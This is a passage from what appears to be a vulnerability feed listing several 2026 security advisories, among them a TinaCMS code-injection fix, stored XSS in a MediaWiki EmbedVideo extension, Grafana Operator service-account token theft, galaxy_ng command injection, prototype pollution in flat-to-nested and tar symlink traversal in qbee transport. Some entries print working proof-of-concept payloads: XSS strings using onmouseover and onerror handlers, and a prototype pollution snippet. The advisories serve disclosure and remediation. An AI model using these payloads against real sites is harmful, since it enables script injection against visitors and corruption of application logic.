on nested `fields`/`template_types` recursive paths. ### Option B — change the marker to a sequence that cannot survive `JSON.stringify` of user data ```ts // codeTransformer.ts const MARKER_OPEN = '__TINA_INTERNAL__'; const MARKER_CLOSE = '/__TINA_INTERNAL__'; export const addVariablesToCode = (s: string) => ({ code: s.replace( new RegExp(`"${MARKER_OPEN}(.*?)${MARKER_CLOSE}"`, 'g'), '$1' ), }); ``` `JSON.stringify` escapes `` to the six-character sequence ``, so any literal control character supplied via YAML can never reconstruct the marker. The internal callers (`makeFieldsWithInternalCode`) keep emitting real `` bytes, so the legitimate flow continues to work and no user content is silently mutated. ### Defence-in-depth Regardless of which option ships, the migration code should also: * Reject `forestryField.label` / `.name` that contain newlines or NUL bytes (Forestry never produced them). * Wrap the eventual `prettier.format(...)` call so that if formatting fails the build aborts (today an exception is propagated, which is good — keep it that way). --- ## Credit Reported by **AnGrY-Althaf** (`angry.althaf@gmail.com`). End-to-end PoC executed locally against `tinacms@2.3.1` / `@tinacms/cli@2.3.1` built from commit `ae1ab5d0f` of `https://github.com/tinacms/tinacms`.

CVE-2026-55691HIGH8.6

### Summary The user supplied class value is fed directly into the sprintf call that creates HTML. You can add a quote to escape the class and then inject arbitrary html/javascript to the final output. ### Details The template [here](https://github.com/StarCitizenWiki/mediawiki-extensions-EmbedVideo/blob/a573a16d925ee0ea0d34b360856dc8ab0b88f822/includes/EmbedService/EmbedHtmlFormatter.php#L138) adds a figure with a class that is substituted in. This value is provided to sprintf [here](https://github.com/StarCitizenWiki/mediawiki-extensions-EmbedVideo/blob/a573a16d925ee0ea0d34b360856dc8ab0b88f822/includes/EmbedService/EmbedHtmlFormatter.php#L156), an unescaped version of the class supplied by the user. ``` $template = <<<HTML <figure class="%s" data-service="%s" %s %s> <div class="embedvideo-wrapper" %s>%s%s%s</div>%s </figure> HTML; ``` ### PoC Note the double quote immediately following the single quote to escape the class attribute in the template: ``` <youtube class='" onmouseover="alert(document.domain)' id="dQw4w9WgXcQ">dQw4w9WgXcQ</youtube> ``` ### Impact Arbitrary HTML can be inserted into the DOM by any user on any page, allowing for JavaScript to be executed.

CVE-2026-55690HIGH7.5

### Summary When passing an unknown service name to embedvideo, an error message is rendered containing the invalid service name. The service name is not sanitized and can contain HTML. ### Details There is a hardcoded list of allowed services in a switch statement inside `EmbedServiceFactory#newFromName` [here](https://github.com/StarCitizenWiki/mediawiki-extensions-EmbedVideo/blob/a573a16d925ee0ea0d34b360856dc8ab0b88f822/includes/EmbedService/EmbedServiceFactory.php#L105). When the service name is not known, an exception is thrown with the service name injected into the message via sprintf [here](https://github.com/StarCitizenWiki/mediawiki-extensions-EmbedVideo/blob/a573a16d925ee0ea0d34b360856dc8ab0b88f822/includes/EmbedService/EmbedServiceFactory.php#L286). This message is not sanitized and is marked as isHtml [here](https://github.com/StarCitizenWiki/mediawiki-extensions-EmbedVideo/blob/a573a16d925ee0ea0d34b360856dc8ab0b88f822/includes/EmbedVideo.php#L303-L311). Similarly with `{{evl:` [here](https://github.com/StarCitizenWiki/mediawiki-extensions-EmbedVideo/blob/a573a16d925ee0ea0d34b360856dc8ab0b88f822/includes/EmbedVideo.php#L177-L183). ### PoC ``` // Must be on a page, not on ExpandTemplates {{#ev:<img src=x onerror=alert(document.domain)>|dQw4w9WgXcQ}} {{#evl:id=dummy|service=<img src=x onerror=alert(document.domain)>}} ``` ### Impact Stored XSS that allows arbitrary Javascript/HTML insertion on any page that a user can edit. It requires no interaction and executes in the wiki origin for every visitor to the page.

CVE-2026-11769NONEEPSS 24%Awaiting

We have released version 5.24.0 of the Grafana Operator. This patch includes a CRITICAL severity security fix for a path traversal/privilege escalation vulnerability in the Grafana Operator. ### Summary The Grafana Operator supports loading dashboards & library panels using the jsonnet data templating language. The jsonnet expression is evaluated in the context of the operator manager pod. ### Impact It is possible for a malicious user who can create Dashboard or LibraryPanel resources for a Grafana instance to obtain the Kubernetes service account token of the Grafana Operator manager. ### Affected versions All Grafana Operator versions <= 5.23 ### Solutions and mitigations All installations should be upgraded as soon as possible. As a workaround, the following ValidatingAdmissionPolicy prevent the creation or modification of jsonnet based resources: apiVersion: admissionregistration.k8s.io/v1 kind: ValidatingAdmissionPolicy metadata: name: "prevent-jsonnet-dashboards" spec: failurePolicy: Fail matchConstraints: resourceRules: - apiGroups: ["grafana.integreatly.org"] apiVersions: ["v1beta1"] operations: ["CREATE", "UPDATE"] resources: ["grafanadashboards", "grafanalibrarypanels"] validations: - expression: "!has(object.spec.jsonnetLib)" --- apiVersion: admissionregistration.k8s.io/v1 kind: ValidatingAdmissionPolicyBinding metadata: name: "prevent-jsonnet-dashboards-clusterwide" spec: policyName: "prevent-jsonnet-dashboards" validationActions: [Deny] ### Acknowledgement We would like to thank Artem Cherezov for responsibly disclosing the vulnerability.

CVE-2026-12398HIGH7.5EPSS 55%Awaiting

A command injection vulnerability was found in galaxy_ng. The do_git_checkout() function in the legacy role import API (v1) interpolates unsanitized git ref names (branch/tag names) into shell commands executed via subprocess.run() with shell=True. An authenticated user who controls a git repository can create a branch or tag with shell metacharacters in the name to achieve remote code execution on the pulp worker. The vulnerable endpoint is only reachable when GALAXY_ENABLE_LEGACY_ROLES is set to True, which is not the default configuration.

CVE-2026-30120CRITICAL9.8EPSS 52%Awaiting

remotion-dev remotion v4.0.409 was discovered to contain a remote code execution (RCE) vulnerability.

CVE-2026-30121CRITICAL9.1EPSS 24%Awaiting

remotion-dev remotion v4.0.409 was discovered to contain an arbitrary file write vulnerability.

CVE-2026-55091HIGH7.5

### Summary `convert()` builds the nested tree by using each flat record's `id` and `parent` field values directly as object keys, with no guard against `__proto__` / `constructor` / `prototype`. A record whose `parent` is the string `"__proto__"` makes `temp[parent]` resolve to `Object.prototype`, and the following `initPush(...)` writes attacker-controlled data onto the global prototype. Any application that passes attacker-influenced records to `convert()` is affected, and the base prototype methods stay intact so the pollution is stealthy. ### Details In `index.js`, `convert()` (`FlatToNested.prototype.convert`): - `temp = {}` (line 45) and `pendingChildOf = {}` (line 46) are plain objects, so they inherit from `Object.prototype`. - For each record, `parent = flatEl[this.config.parent]` (line 51) is taken verbatim from input. - Line 57: `if (temp[parent] !== undefined)` — when `parent === "__proto__"`, `temp["__proto__"]` resolves via the prototype chain to `Object.prototype`, which is `!== undefined`, so the branch is taken. - Line 59: `initPush(this.config.children, temp[parent], flatEl)` → effectively `initPush("children", Object.prototype, flatEl)`. - `initPush` (lines 4-9): `Object.prototype["children"] = []` then `Object.prototype["children"].push(flatEl)` — **attacker-controlled data is written onto the global `Object.prototype`.** There is no sanitization of `id` / `parent` anywhere; they flow straight into `temp[id]`, `temp[parent]`, and `pendingChildOf[parent]` as dynamic keys. ### PoC ```js const FlatToNested = require('flat-to-nested'); new FlatToNested().convert([ { id: 1, parent: '__proto__', polluted: 'PWNED' } ]); console.log(({}).children); // => [ { id: 1, polluted: 'PWNED' } ] A freshly-created, unrelated object {} now carries an attacker-controlled children property. ({}).toString === Object.prototype.toString remains true, so existing methods are untouched (stealthy). If the consumer configures a custom children key, that arbitrary prototype property is polluted instead. ``` ### Impact Prototype pollution (CWE-1321). Any service that builds a tree from attacker-influenced flat records (the package's core purpose — e.g. records derived from a DB/REST/user input) can have Object.prototype polluted. Consequences range from application-logic corruption and denial of service to serving as a gadget toward privilege escalation or RCE depending on downstream sinks. No special privileges or user interaction required; the malicious value is ordinary input data. ### Suggested fix Use prototype-less lookup tables so inherited keys like __proto__ cannot be reached: var temp = Object.create(null); var pendingChildOf = Object.create(null); (Optionally also reject id/parent values equal to __proto__, constructor, or prototype.) Verified: with Object.create(null) for both temp and pendingChildOf, the PoC no longer pollutes Object.prototype and normal nesting output is unchanged. A patch with a regression test is ready.

360,639 CVEs
1 / 7213

CVE-2026-55828

NONE
Published: 2026-06-19Modified: about 16 hours ago
Open full
Description

### Impact The go.qbee.io/transport library is affected by a symlink-chain path traversal vulnerability in its extractTar routine. The library's path validation is strictly lexical and fails to account for on-disk symlinks created earlier in the extraction process. Consequently, a crafted tar archive can be used to write or overwrite files one directory level above the intended extraction path. In the case of qbee-agent, which runs with root privileges, this vulnerability permits a root-privileged file write outside the intended destination. ### Patches The issue has been addressed in version v1.26.25

Modification timeline
  • GHSAabout 16 hours ago1 obs
Timeline
  1. 2026-06-19
    CVE published
  2. 2026-06-19
    Last metadata update
  3. 2026-06-19
    First observed by ghsa